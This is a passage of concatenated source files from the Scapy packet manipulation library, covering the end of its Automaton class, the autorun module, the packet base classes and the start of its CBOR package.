(_StateWrapper, Any, Any) -> None try: self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname)) # noqa: E501 cond(self, *args, **kargs) except ATMT.NewStateRequested as state_req: self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state)) # noqa: E501 if cond.atmt_type == ATMT.RECV: if self.store_packets: self.packets.append(args[0]) for action in self.actions[cond.atmt_condname]: self.debug(2, " + Running action [%s]" % action.__name__) action(self, *state_req.action_args, **state_req.action_kargs) raise except Exception as e: self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e)) # noqa: E501 raise else: self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname)) # noqa: E501 def _do_start(self, *args, **kargs): # type: (Any, Any) -> None ready = threading.Event() _t = threading.Thread( target=self._do_control, args=(ready,) + (args), kwargs=kargs, name="scapy.automaton _do_start" ) _t.daemon = True _t.start() ready.wait() def _do_control(self, ready, *args, **kargs): # type: (threading.Event, Any, Any) -> None with self.started: self.threadid = threading.current_thread().ident if self.threadid is None: self.threadid = 0 # Update default parameters a = args + self.init_args[len(args):] k = self.init_kargs.copy() k.update(kargs) self.parse_args(*a, **k) # Start the automaton self.state = self.initial_states[0](self) self.send_sock = self.sock or self.send_sock_class(**self.socket_kargs) if self.recv_conditions: # Only start a receiving socket if we have at least one recv_conditions self.listen_sock = self.sock or self.recv_sock_class(**self.socket_kargs) # noqa: E501 self.packets = PacketList(name="session[%s]" % self.__class__.__name__) singlestep = True iterator = self._do_iter() self.debug(3, "Starting control thread [tid=%i]" % self.threadid) # Sync threads ready.set() try: while True: c = self.cmdin.recv() if c is None: return None self.debug(5, "Received command %s" % c.type) if c.type == _ATMT_Command.RUN: singlestep = False elif c.type == _ATMT_Command.NEXT: singlestep = True elif c.type == _ATMT_Command.FREEZE: continue elif c.type == _ATMT_Command.STOP: if self.stop_state: # There is a stop state self.state = self.stop_state() iterator = self._do_iter() else: # Act as FORCESTOP break elif c.type == _ATMT_Command.FORCESTOP: break while True: state = next(iterator) if isinstance(state, self.CommandMessage): break elif isinstance(state, self.Breakpoint): c = Message(type=_ATMT_Command.BREAKPOINT, state=state) # noqa: E501 self.cmdout.send(c) break if singlestep: c = Message(type=_ATMT_Command.SINGLESTEP, state=state) # noqa: E501 self.cmdout.send(c) break except (StopIteration, RuntimeError): c = Message(type=_ATMT_Command.END, result=self.final_state_output) self.cmdout.send(c) except Exception as e: exc_info = sys.exc_info() self.debug(3, "Transferring exception from tid=%i:\n%s" % (self.threadid, "".join(traceback.format_exception(*exc_info)))) # noqa: E501 m = Message(type=_ATMT_Command.EXCEPTION, exception=e, exc_info=exc_info) # noqa: E501 self.cmdout.send(m) self.debug(3, "Stopping control thread (tid=%i)" % self.threadid) self.threadid = None if self.listen_sock: self.listen_sock.close() if self.send_sock: self.send_sock.close() def _do_iter(self): # type: () -> Iterator[Union[Automaton.AutomatonException, Automaton.AutomatonStopped, ATMT.NewStateRequested, None]] # noqa: E501 while True: try: self.debug(1, "## state=[%s]" % self.state.state) # Entering a new state. First, call new state function if self.state.state in self.breakpoints and self.state.state != self.breakpointed: # noqa: E501 self.breakpointed = self.state.state yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state, # noqa: E501 state=self.state.state) self.breakpointed = None state_output = self.state.run() if self.state.error: raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), # noqa: E501 result=state_output, state=self.state.state) # noqa: E501 if self.state.final: self.final_state_output = state_output return if state_output is None: state_output = () elif not isinstance(state_output, list): state_output = state_output, timers = self.timeout[self.state.state] # If there are commandMessage, we should skip immediate # conditions. if not select_objects([self.cmdin], 0): # Then check immediate conditions for cond in self.conditions[self.state.state]: self._run_condition(cond, *state_output) # If still there and no conditions left, we are stuck! if (len(self.recv_conditions[self.state.state]) == 0 and len(self.ioevents[self.state.state]) == 0 and timers.count() == 0): raise self.Stuck("stuck in [%s]" % self.state.state, state=self.state.state, result=state_output) # Finally listen and pay attention to timeouts timers.reset() time_previous = time.time() fds = [self.cmdin] # type: List[Union[SuperSocket, ObjectPipe[Any]]] select_func = select_objects if self.listen_sock and self.recv_conditions[self.state.state]: fds.append(self.listen_sock) select_func = self.listen_sock.select # type: ignore for ioev in self.ioevents[self.state.state]: fds.append(self.ioin[ioev.atmt_ioname]) while True: time_current = time.time() timers.decrement(time_current - time_previous) time_previous = time_current for timer in timers.expired(): self._run_condition(timer._func, *state_output) remain = timers.until_next() self.debug(5, "Select on %r" % fds) r = select_func(fds, remain) self.debug(5, "Selected %r" % r) for fd in r: self.debug(5, "Looking at %r" % fd) if fd == self.cmdin: yield self.CommandMessage("Received command message") # noqa: E501 elif fd == self.listen_sock: try: pkt = self.listen_sock.recv() except EOFError: # Socket was closed abruptly. This will likely only # ever happen when a client socket is passed to the # automaton (not the case when the automaton is # listening on a promiscuous conf.L2sniff) self.listen_sock.close() # False so that it is still reset by update_sock self.listen_sock = False # type: ignore fds.remove(fd) if self.state.state in self.eofs: # There is an eof state eof = self.eofs[self.state.state] self.debug(2, "Condition EOF [%s] taken" % eof.__name__) # noqa: E501 raise self.eofs[self.state.state](self) else: # There isn't. Therefore, it's a closing condition. raise EOFError("Socket ended arbruptly.") if self.atmt_session is not None: # Apply session if provided pkt = self.atmt_session.process(pkt) if pkt is not None: if self.master_filter(pkt): self.debug(3, "RECVD: %s" % pkt.summary()) # noqa: E501 for rcvcond in self.recv_conditions[self.state.state]: # noqa: E501 self._run_condition(rcvcond, pkt, *state_output) # noqa: E501 else: self.debug(4, "FILTR: %s" % pkt.summary()) # noqa: E501 else: self.debug(3, "IOEVENT on %s" % fd.ioname) for ioevt in self.ioevents[self.state.state]: if ioevt.atmt_ioname == fd.ioname: self._run_condition(ioevt, fd, *state_output) # noqa: E501 except ATMT.NewStateRequested as state_req: self.debug(2, "switching from [%s] to [%s]" % (self.state.state, state_req.state)) # noqa: E501 self.state = state_req yield state_req def __repr__(self): # type: () -> str return "" % ( self.__class__.__name__, ["HALTED", "RUNNING"][self.isrunning()] ) # Public API def add_interception_points(self, *ipts): # type: (Any) -> None for ipt in ipts: if hasattr(ipt, "atmt_state"): ipt = ipt.atmt_state self.interception_points.add(ipt) def remove_interception_points(self, *ipts): # type: (Any) -> None for ipt in ipts: if hasattr(ipt, "atmt_state"): ipt = ipt.atmt_state self.interception_points.discard(ipt) def add_breakpoints(self, *bps): # type: (Any) -> None for bp in bps: if hasattr(bp, "atmt_state"): bp = bp.atmt_state self.breakpoints.add(bp) def remove_breakpoints(self, *bps): # type: (Any) -> None for bp in bps: if hasattr(bp, "atmt_state"): bp = bp.atmt_state self.breakpoints.discard(bp) def start(self, *args, **kargs): # type: (Any, Any) -> None if self.isrunning(): raise ValueError("Already started") # Start the control thread self._do_start(*args, **kargs) def run(self, resume=None, # type: Optional[Message] wait=True # type: Optional[bool] ): # type: (...) -> Any if resume is None: resume = Message(type=_ATMT_Command.RUN) self.cmdin.send(resume) if wait: try: c = self.cmdout.recv() if c is None: return None except KeyboardInterrupt: self.cmdin.send(Message(type=_ATMT_Command.FREEZE)) return None if c.type == _ATMT_Command.END: return c.result elif c.type == _ATMT_Command.INTERCEPT: raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt) # noqa: E501 elif c.type == _ATMT_Command.SINGLESTEP: raise self.Singlestep("singlestep state=[%s]" % c.state.state, state=c.state.state) # noqa: E501 elif c.type == _ATMT_Command.BREAKPOINT: raise self.Breakpoint("breakpoint triggered on state [%s]" % c.state.state, state=c.state.state) # noqa: E501 elif c.type == _ATMT_Command.EXCEPTION: # this code comes from the `six` module (`.reraise()`) # to raise an exception with specified exc_info. value = c.exc_info[0]() if c.exc_info[1] is None else c.exc_info[1] # type: ignore # noqa: E501 if value.__traceback__ is not c.exc_info[2]: raise value.with_traceback(c.exc_info[2]) raise value return None def runbg(self, resume=None, wait=False): # type: (Optional[Message], Optional[bool]) -> None self.run(resume, wait) def __next__(self): # type: () -> Any return self.run(resume=Message(type=_ATMT_Command.NEXT)) def _flush_inout(self): # type: () -> None # Flush command pipes for cmd in [self.cmdin, self.cmdout]: cmd.clear() def destroy(self): # type: () -> None """ Destroys a stopped Automaton: this cleanups all opened file descriptors. Required on PyPy for instance where the garbage collector behaves differently. """ if not hasattr(self, "started"): return # was never started. if self.isrunning(): raise ValueError("Can't close running Automaton ! Call stop() beforehand") # Close command pipes self.cmdin.close() self.cmdout.close() self._flush_inout() # Close opened ioins/ioouts for i in itertools.chain(self.ioin.values(), self.ioout.values()): if isinstance(i, ObjectPipe): i.close() def stop(self, wait=True): # type: (bool) -> None try: self.cmdin.send(Message(type=_ATMT_Command.STOP)) except OSError: pass if wait: with self.started: self._flush_inout() def forcestop(self, wait=True): # type: (bool) -> None try: self.cmdin.send(Message(type=_ATMT_Command.FORCESTOP)) except OSError: pass if wait: with self.started: self._flush_inout() def restart(self, *args, **kargs): # type: (Any, Any) -> None self.stop() self.start(*args, **kargs) def accept_packet(self, pkt=None, # type: Optional[Packet] wait=False # type: Optional[bool] ): # type: (...) -> Any rsm = Message() if pkt is None: rsm.type = _ATMT_Command.ACCEPT else: rsm.type = _ATMT_Command.REPLACE rsm.pkt = pkt return self.run(resume=rsm, wait=wait) def reject_packet(self, wait=False # type: Optional[bool] ): # type: (...) -> Any rsm = Message(type=_ATMT_Command.REJECT) return self.run(resume=rsm, wait=wait) ================================================ FILE: scapy/autorun.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Run commands when the Scapy interpreter starts. """ import builtins import code from io import StringIO import logging from queue import Queue import sys import threading import traceback from scapy.config import conf from scapy.themes import NoTheme, DefaultTheme, HTMLTheme2, LatexTheme2 from scapy.error import log_scapy, Scapy_Exception from scapy.utils import tex_escape from typing import ( Any, Optional, TextIO, Dict, Tuple, ) ######################### # Autorun stuff # ######################### class StopAutorun(Scapy_Exception): code_run = "" class StopAutorunTimeout(StopAutorun): pass class ScapyAutorunInterpreter(code.InteractiveInterpreter): def __init__(self, *args, **kargs): # type: (*Any, **Any) -> None code.InteractiveInterpreter.__init__(self, *args, **kargs) def write(self, data): # type: (str) -> None pass def autorun_commands(_cmds, my_globals=None, verb=None): # type: (str, Optional[Dict[str, Any]], Optional[int]) -> Any sv = conf.verb try: try: if my_globals is None: from scapy.main import _scapy_builtins my_globals = _scapy_builtins() interp = ScapyAutorunInterpreter(locals=my_globals) try: del builtins.__dict__["scapy_session"]["_"] except KeyError: pass if verb is not None: conf.verb = verb cmd = "" cmds = _cmds.splitlines() cmds.append("") # ensure we finish multi-line commands cmds.reverse() while True: if cmd: sys.stderr.write(sys.__dict__.get("ps2", "... ")) else: sys.stderr.write(sys.__dict__.get("ps1", ">>> ")) line = cmds.pop() print(line) cmd += "\n" + line sys.last_value = None if interp.runsource(cmd): continue if sys.last_value: # An error occurred traceback.print_exception(sys.last_type, sys.last_value, sys.last_traceback.tb_next, file=sys.stdout) sys.last_value = None return False cmd = "" if len(cmds) <= 1: break except SystemExit: pass finally: conf.verb = sv try: return builtins.__dict__["scapy_session"]["_"] except KeyError: return builtins.__dict__.get("_", None) def autorun_commands_timeout(cmds, timeout=None, **kwargs): # type: (str, Optional[int], **Any) -> Any """ Wraps autorun_commands with a timeout that raises StopAutorunTimeout on expiration. """ if timeout is None: return autorun_commands(cmds, **kwargs) q = Queue() # type: Queue[Any] def _runner(): # type: () -> None q.put(autorun_commands(cmds, **kwargs)) th = threading.Thread(target=_runner) th.daemon = True th.start() th.join(timeout) if th.is_alive(): raise StopAutorunTimeout return q.get() class StringWriter(StringIO): """Util to mock sys.stdout and sys.stderr, and store their output in a 's' var.""" def __init__(self, debug=None): # type: (Optional[TextIO]) -> None self.s = "" self.debug = debug super().__init__() def write(self, x): # type: (str) -> int # Object can be in the middle of being destroyed. if getattr(self, "debug", None) and self.debug: self.debug.write(x) if getattr(self, "s", None) is not None: self.s += x return len(x) def flush(self): # type: () -> None if getattr(self, "debug", None) and self.debug: self.debug.flush() def autorun_get_interactive_session(cmds, **kargs): # type: (str, **Any) -> Tuple[str, Any] """Create an interactive session and execute the commands passed as "cmds" and return all output :param cmds: a list of commands to run :param timeout: timeout in seconds :returns: (output, returned) contains both sys.stdout and sys.stderr logs """ sstdout, sstderr, sexcepthook = sys.stdout, sys.stderr, sys.excepthook sw = StringWriter() h_old = log_scapy.handlers[0] log_scapy.removeHandler(h_old) log_scapy.addHandler(logging.StreamHandler(stream=sw)) try: try: sys.stdout = sys.stderr = sw sys.excepthook = sys.__excepthook__ res = autorun_commands_timeout(cmds, **kargs) except StopAutorun as e: e.code_run = sw.s raise finally: sys.stdout, sys.stderr, sys.excepthook = sstdout, sstderr, sexcepthook log_scapy.removeHandler(log_scapy.handlers[0]) log_scapy.addHandler(h_old) return sw.s, res def autorun_get_interactive_live_session(cmds, **kargs): # type: (str, **Any) -> Tuple[str, Any] """Create an interactive session and execute the commands passed as "cmds" and return all output :param cmds: a list of commands to run :param timeout: timeout in seconds :returns: (output, returned) contains both sys.stdout and sys.stderr logs """ sstdout, sstderr = sys.stdout, sys.stderr sw = StringWriter(debug=sstdout) try: try: sys.stdout = sys.stderr = sw res = autorun_commands_timeout(cmds, **kargs) except StopAutorun as e: e.code_run = sw.s raise finally: sys.stdout, sys.stderr = sstdout, sstderr return sw.s, res def autorun_get_text_interactive_session(cmds, **kargs): # type: (str, **Any) -> Tuple[str, Any] ct = conf.color_theme try: conf.color_theme = NoTheme() s, res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s, res def autorun_get_live_interactive_session(cmds, **kargs): # type: (str, **Any) -> Tuple[str, Any] ct = conf.color_theme try: conf.color_theme = DefaultTheme() s, res = autorun_get_interactive_live_session(cmds, **kargs) finally: conf.color_theme = ct return s, res def autorun_get_ansi_interactive_session(cmds, **kargs): # type: (str, **Any) -> Tuple[str, Any] ct = conf.color_theme try: conf.color_theme = DefaultTheme() s, res = autorun_get_interactive_session(cmds, **kargs) finally: conf.color_theme = ct return s, res def autorun_get_html_interactive_session(cmds, **kargs): # type: (str, **Any) -> Tuple[str, Any] ct = conf.color_theme def to_html(s): # type: (str) -> str return s.replace("<", "<").replace(">", ">").replace("#[#", "<").replace("#]#", ">") # noqa: E501 try: try: conf.color_theme = HTMLTheme2() s, res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun as e: e.code_run = to_html(e.code_run) raise finally: conf.color_theme = ct return to_html(s), res def autorun_get_latex_interactive_session(cmds, **kargs): # type: (str, **Any) -> Tuple[str, Any] ct = conf.color_theme def to_latex(s): # type: (str) -> str return tex_escape(s).replace("@[@", "{").replace("@]@", "}").replace("@`@", "\\") # noqa: E501 try: try: conf.color_theme = LatexTheme2() s, res = autorun_get_interactive_session(cmds, **kargs) except StopAutorun as e: e.code_run = to_latex(e.code_run) raise finally: conf.color_theme = ct return to_latex(s), res ================================================ FILE: scapy/base_classes.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Generators and packet meta classes. """ ################ # Generators # ################ from functools import reduce import abc import operator import os import random import re import socket import struct import subprocess import types import warnings import scapy from scapy.error import Scapy_Exception from scapy.consts import WINDOWS from typing import ( Any, Dict, Generic, Iterator, List, Optional, Tuple, Type, TypeVar, Union, cast, TYPE_CHECKING, ) if TYPE_CHECKING: try: import pyx except ImportError: pass from scapy.packet import Packet _T = TypeVar("_T") class Gen(Generic[_T]): __slots__ = [] # type: List[str] def __iter__(self): # type: () -> Iterator[_T] return iter([]) def __iterlen__(self): # type: () -> int return sum(1 for _ in iter(self)) def _get_values(value): # type: (Any) -> Any """Generate a range object from (start, stop[, step]) tuples, or return value. """ if (isinstance(value, tuple) and (2 <= len(value) <= 3) and all(hasattr(i, "__int__") for i in value)): # We use values[1] + 1 as stop value for (x)range to maintain # the behavior of using tuples as field `values` return range(*((int(value[0]), int(value[1]) + 1) + tuple(int(v) for v in value[2:]))) return value class SetGen(Gen[_T]): def __init__(self, values, _iterpacket=1): # type: (Any, int) -> None self._iterpacket = _iterpacket if isinstance(values, (list, BasePacketList)): self.values = [_get_values(val) for val in values] else: self.values = [_get_values(values)] def __iter__(self): # type: () -> Iterator[Any] for i in self.values: if (isinstance(i, Gen) and (self._iterpacket or not isinstance(i, BasePacket))) or ( isinstance(i, (range, types.GeneratorType))): for j in i: yield j else: yield i def __len__(self): # type: () -> int return self.__iterlen__() def __repr__(self): # type: () -> str return "" % self.values class _ScopedIP(str): """ A str that also holds extra attributes. """ __slots__ = ["scope"] def __init__(self, _: str) -> None: self.scope = None def __repr__(self) -> str: val = super(_ScopedIP, self).__repr__() if self.scope is not None: return "ScopedIP(%s, scope=%s)" % (val, repr(self.scope)) return val def ScopedIP(net: str, scope: Optional[Any] = None) -> _ScopedIP: """ An str that also holds extra attributes. Examples:: >>> ScopedIP("224.0.0.1%eth0") # interface 'eth0' >>> ScopedIP("224.0.0.1%1") # interface index 1 >>> ScopedIP("224.0.0.1", scope=conf.iface) """ if "%" in net: try: net, scope = net.split("%", 1) except ValueError: raise Scapy_Exception("Scope identifier can only be present once !") if scope is not None: from scapy.interfaces import resolve_iface, network_name, dev_from_index try: iface = dev_from_index(int(scope)) except (ValueError, TypeError): iface = resolve_iface(scope) if not iface.is_valid(): raise Scapy_Exception( "RFC6874 scope identifier '%s' could not be resolved to a " "valid interface !" % scope ) scope = network_name(iface) x = _ScopedIP(net) x.scope = scope return x class Net(Gen[str]): """ Network object from an IP address or hostname and mask Examples: - With mask:: >>> list(Net("192.168.0.1/24")) ['192.168.0.0', '192.168.0.1', ..., '192.168.0.255'] - With 'end':: >>> list(Net("192.168.0.100", "192.168.0.200")) ['192.168.0.100', '192.168.0.101', ..., '192.168.0.200'] - With 'scope' (for multicast):: >>> Net("224.0.0.1%lo") >>> Net("224.0.0.1", scope=conf.iface) """ name = "Net" # type: str family = socket.AF_INET # type: int max_mask = 32 # type: int @classmethod def name2addr(cls, name): # type: (str) -> str try: return next( addr_port[0] for family, _, _, _, addr_port in socket.getaddrinfo(name, None, cls.family) if family == cls.family ) except socket.error: if re.search("(^|\\.)[0-9]+-[0-9]+($|\\.)", name) is not None: raise Scapy_Exception("Ranges are no longer accepted in %s()" % cls.__name__) raise @classmethod def ip2int(cls, addr): # type: (str) -> int return cast(int, struct.unpack( "!I", socket.inet_aton(cls.name2addr(addr)) )[0]) @staticmethod def int2ip(val): # type: (int) -> str return socket.inet_ntoa(struct.pack('!I', val)) def __init__(self, net, stop=None, scope=None): # type: (str, Optional[str], Optional[str]) -> None if "*" in net: raise Scapy_Exception("Wildcards are no longer accepted in %s()" % self.__class__.__name__) self.scope = None if "%" in net: net = ScopedIP(net) if isinstance(net, _ScopedIP): self.scope = net.scope if stop is None: try: net, mask = net.split("/", 1) except ValueError: self.mask = self.max_mask # type: Union[None, int] else: self.mask = int(mask) self.net = net # type: Union[None, str] inv_mask = self.max_mask - self.mask self.start = self.ip2int(net) >> inv_mask << inv_mask self.count = 1 << inv_mask self.stop = self.start + self.count - 1 else: self.start = self.ip2int(net) self.stop = self.ip2int(stop) self.count = self.stop - self.start + 1 self.net = self.mask = None def __str__(self): # type: () -> str return next(iter(self), "") def __iter__(self): # type: () -> Iterator[str] # Python 2 won't handle huge (> sys.maxint) values in range() for i in range(self.count): yield ScopedIP( self.int2ip(self.start + i), scope=self.scope, ) def __len__(self): # type: () -> int return self.count def __iterlen__(self): # type: () -> int # for compatibility return len(self) def choice(self): # type: () -> str return ScopedIP( self.int2ip(random.randint(self.start, self.stop)), scope=self.scope, ) def __repr__(self): # type: () -> str scope_id_repr = "" if self.scope: scope_id_repr = ", scope=%s" % repr(self.scope) if self.mask is not None: return '%s("%s/%d"%s)' % ( self.__class__.__name__, self.net, self.mask, scope_id_repr, ) return '%s("%s", "%s"%s)' % ( self.__class__.__name__, self.int2ip(self.start), self.int2ip(self.stop), scope_id_repr, ) def __eq__(self, other): # type: (Any) -> bool if isinstance(other, str): return self == self.__class__(other) if not isinstance(other, Net): return False if self.family != other.family: return False return (self.start == other.start) and (self.stop == other.stop) def __ne__(self, other): # type: (Any) -> bool # Python 2.7 compat return not self == other def __hash__(self): # type: () -> int return hash(("scapy.Net", self.family, self.start, self.stop, self.scope)) def __contains__(self, other): # type: (Any) -> bool if isinstance(other, int): return self.start <= other <= self.stop if isinstance(other, str): return self.__class__(other) in self if type(other) is not self.__class__: return False return self.start <= other.start <= other.stop <= self.stop class OID(Gen[str]): name = "OID" def __init__(self, oid): # type: (str) -> None self.oid = oid self.cmpt = [] fmt = [] for i in oid.split("."): if "-" in i: fmt.append("%i") self.cmpt.append(tuple(map(int, i.split("-")))) else: fmt.append(i) self.fmt = ".".join(fmt) def __repr__(self): # type: () -> str return "OID(%r)" % self.oid def __iter__(self): # type: () -> Iterator[str] ii = [k[0] for k in self.cmpt] while True: yield self.fmt % tuple(ii) i = 0 while True: if i >= len(ii): return if ii[i] < self.cmpt[i][1]: ii[i] += 1 break else: ii[i] = self.cmpt[i][0] i += 1 def __iterlen__(self): # type: () -> int return reduce(operator.mul, (max(y - x, 0) + 1 for (x, y) in self.cmpt), 1) # noqa: E501 ###################################### # Packet abstract and base classes # ###################################### class Packet_metaclass(type): def __new__(cls: Type[_T], name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type['Packet'] if "fields_desc" in dct: # perform resolution of references to other packets # noqa: E501 current_fld = dct["fields_desc"] # type: List[Union[scapy.fields.Field[Any, Any], Packet_metaclass]] # noqa: E501 resolved_fld = [] # type: List[scapy.fields.Field[Any, Any]] for fld_or_pkt in current_fld: if isinstance(fld_or_pkt, Packet_metaclass): # reference to another fields_desc for pkt_fld in fld_or_pkt.fields_desc: resolved_fld.append(pkt_fld) else: resolved_fld.append(fld_or_pkt) else: # look for a fields_desc in parent classes resolved_fld = [] for b in bases: if hasattr(b, "fields_desc"): resolved_fld = b.fields_desc break if resolved_fld: # perform default value replacements final_fld = [] # type: List[scapy.fields.Field[Any, Any]] names = [] for f in resolved_fld: if f.name in names: war_msg = ( "Packet '%s' has a duplicated '%s' field ! " "If you are using several ConditionalFields, have " "a look at MultipleTypeField instead ! This will " "become a SyntaxError in a future version of " "Scapy !" % ( name, f.name ) ) warnings.warn(war_msg, SyntaxWarning) names.append(f.name) if f.name in dct: f = f.copy() f.default = dct[f.name] del dct[f.name] final_fld.append(f) dct["fields_desc"] = final_fld dct.setdefault("__slots__", []) for attr in ["name", "overload_fields"]: try: dct["_%s" % attr] = dct.pop(attr) except KeyError: pass # Build and inject signature try: # Py3 only import inspect dct["__signature__"] = inspect.Signature([ inspect.Parameter("_pkt", inspect.Parameter.POSITIONAL_ONLY), ] + [ inspect.Parameter(f.name, inspect.Parameter.KEYWORD_ONLY, default=f.default) for f in dct["fields_desc"] ]) except (ImportError, AttributeError, KeyError): pass newcls = cast(Type['Packet'], type.__new__(cls, name, bases, dct)) # Note: below can't be typed because we use attributes # created dynamically.. newcls.__all_slots__ = set( # type: ignore attr for cls in newcls.__mro__ if hasattr(cls, "__slots__") for attr in cls.__slots__ ) newcls.aliastypes = ( # type: ignore [newcls] + getattr(newcls, "aliastypes", []) ) if hasattr(newcls, "register_variant"): newcls.register_variant() for _f in newcls.fields_desc: if hasattr(_f, "register_owner"): _f.register_owner(newcls) if newcls.__name__[0] != "_": from scapy import config config.conf.layers.register(newcls) return newcls def __getattr__(self, attr): # type: (str) -> Any for k in self.fields_desc: if k.name == attr: return k raise AttributeError(attr) def __call__(cls, *args, # type: Any **kargs # type: Any ): # type: (...) -> 'Packet' if "dispatch_hook" in cls.__dict__: try: cls = cls.dispatch_hook(*args, **kargs) except Exception: from scapy import config if config.conf.debug_dissector: raise cls = config.conf.raw_layer i = cls.__new__( cls, # type: ignore cls.__name__, cls.__bases__, cls.__dict__ # type: ignore ) i.__init__(*args, **kargs) return i # type: ignore # Note: see compat.py for an explanation class Field_metaclass(type): def __new__(cls: Type[_T], name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[_T] dct.setdefault("__slots__", []) newcls = type.__new__(cls, name, bases, dct) return newcls # type: ignore PacketList_metaclass = Field_metaclass class BasePacket(Gen['Packet']): __slots__ = [] # type: List[str] ############################# # Packet list base class # ############################# class BasePacketList(Gen[_T]): __slots__ = [] # type: List[str] class _CanvasDumpExtended(object): @abc.abstractmethod def canvas_dump(self, layer_shift=0, rebuild=1): # type: (int, int) -> pyx.canvas.canvas pass def psdump(self, filename=None, **kargs): # type: (Optional[str], **Any) -> None """ psdump(filename=None, layer_shift=0, rebuild=1) Creates an EPS file describing a packet. If filename is not provided a temporary file is created and gs is called. :param filename: the file's filename """ from scapy.config import conf from scapy.utils import get_temp_file, ContextManagerSubprocess canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=kargs.get("suffix", ".eps")) canvas.writeEPSfile(fname) if WINDOWS and not conf.prog.psreader: os.startfile(fname) else: with ContextManagerSubprocess(conf.prog.psreader): subprocess.Popen([conf.prog.psreader, fname]) else: canvas.writeEPSfile(filename) print() def pdfdump(self, filename=None, **kargs): # type: (Optional[str], **Any) -> None """ pdfdump(filename=None, layer_shift=0, rebuild=1) Creates a PDF file describing a packet. If filename is not provided a temporary file is created and xpdf is called. :param filename: the file's filename """ from scapy.config import conf from scapy.utils import get_temp_file, ContextManagerSubprocess canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=kargs.get("suffix", ".pdf")) canvas.writePDFfile(fname) if WINDOWS and not conf.prog.pdfreader: os.startfile(fname) else: with ContextManagerSubprocess(conf.prog.pdfreader): subprocess.Popen([conf.prog.pdfreader, fname]) else: canvas.writePDFfile(filename) print() def svgdump(self, filename=None, **kargs): # type: (Optional[str], **Any) -> None """ svgdump(filename=None, layer_shift=0, rebuild=1) Creates an SVG file describing a packet. If filename is not provided a temporary file is created and gs is called. :param filename: the file's filename """ from scapy.config import conf from scapy.utils import get_temp_file, ContextManagerSubprocess canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=kargs.get("suffix", ".svg")) canvas.writeSVGfile(fname) if WINDOWS and not conf.prog.svgreader: os.startfile(fname) else: with ContextManagerSubprocess(conf.prog.svgreader): subprocess.Popen([conf.prog.svgreader, fname]) else: canvas.writeSVGfile(filename) print() ================================================ FILE: scapy/cbor/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Package holding CBOR (Concise Binary Object Representation) related modules. Follows the same paradigm as ASN.1 implementation. """ from scapy.cbor.cbor import ( CBOR_Error, CBOR_Encoding_Error, CBOR_Decoding_Error, CBOR_BadTag_Decoding_Error, CBOR_Codecs, CBOR_MajorTypes, CBOR_Object, CBOR_UNSIGNED_INTEGER, CBOR_NEGATIVE_INTEGER, CBOR_BYTE_STRING, CBOR_TEXT_STRING, CBOR_ARRAY, CBOR_MAP, CBOR_SEMANTIC_TAG, CBOR_SIMPLE_VALUE, CBOR_FALSE, CBOR_TRUE, CBOR_NULL, CBOR_UNDEFINED, CBOR_FLOAT, CBOR_DECODING_ERROR, RandCBORObject, ) from scapy.cbor.cborcodec import ( CBORcodec_Object, CBORcodec_UNSIGNED_INTEGER, CBORcodec_NEGATIVE_INTEGER, CBORcodec_BYTE_STRING, CBORcodec_TEXT_STRING, CBORcodec_ARRAY, CBORcodec_MAP, CBORcodec_SEMANTIC_TAG, CBORcodec_SIMPLE_AND_FLOAT, ) __all__ = [ # Exceptions "CBOR_Error", "CBOR_Encoding_Error", "CBOR_Decoding_Error", "CBOR_BadTag_Decoding_Error", # Codecs "CBOR_Codecs", "CBOR_MajorTypes", # Objects "CBOR_Object", "CBOR_UNSIGNED_INTEGER", "CBOR_NEGATIVE_INTEGER", "CBOR_BYTE_STRING", "CBOR_TEXT_STRING", "CBOR_ARRAY", "CBOR_MAP", "CBOR_SEMANTIC_TAG", "CBOR_SIMPLE_VALUE", "CBOR_FALSE", "CBOR_TRUE", "CBOR_NULL", "CBOR_UNDEFINED", "CBOR_FLOAT", "CBOR_DECODING_ERROR", # Random/Fuzzing "RandCBORObject", # Codec classes "CBORcodec_Object", "CBORcodec_UNSIGNED_INTEGER", "CBORcodec_NEGATIVE_INTEGER", "CBORcodec_BYTE_STRING", "CBORcodec_TEXT_STRING", "CBORcodec_ARRAY", "CBORcodec_MAP", "CBORcodec_SEMANTIC_TAG", "CBORcodec_SIMPLE_AND_FLOAT", ] ================================================ FILE: scapy/cbor/cbor.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ CBOR (Concise Binary Object Representation) - RFC 8949 Following the ASN.1 paradigm """ import random from typing import ( Any, Dict, Generic, List, Optional, Tuple, Type, TypeVar, Union, cast, TYPE_CHECKING, ) from scapy.compat import plain_str from scapy.error import Scapy_Exception, log_runtime from scapy.utils import Enum_metaclass, EnumElement from scapy.volatile import RandField if TYPE_CHECKING: from scapy.cbor import CBORcodec_Object class RandCBORObject(RandField["CBOR_Object[Any]"]): """Random CBOR object generator for fuzzing""" def __init__(self, objlist=None): # type: (Optional[List[Type[CBOR_Object[Any]]]]) -> None if objlist: self.objlist = objlist else: # Default list will be populated lazily to avoid forward reference self.objlist = None # type: ignore self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" # noqa: E501 def _get_objlist(self): # type: () -> List[Type[CBOR_Object[Any]]] """Get the list of CBOR object types (lazy initialization)""" if self.objlist is None: # Import here to avoid circular 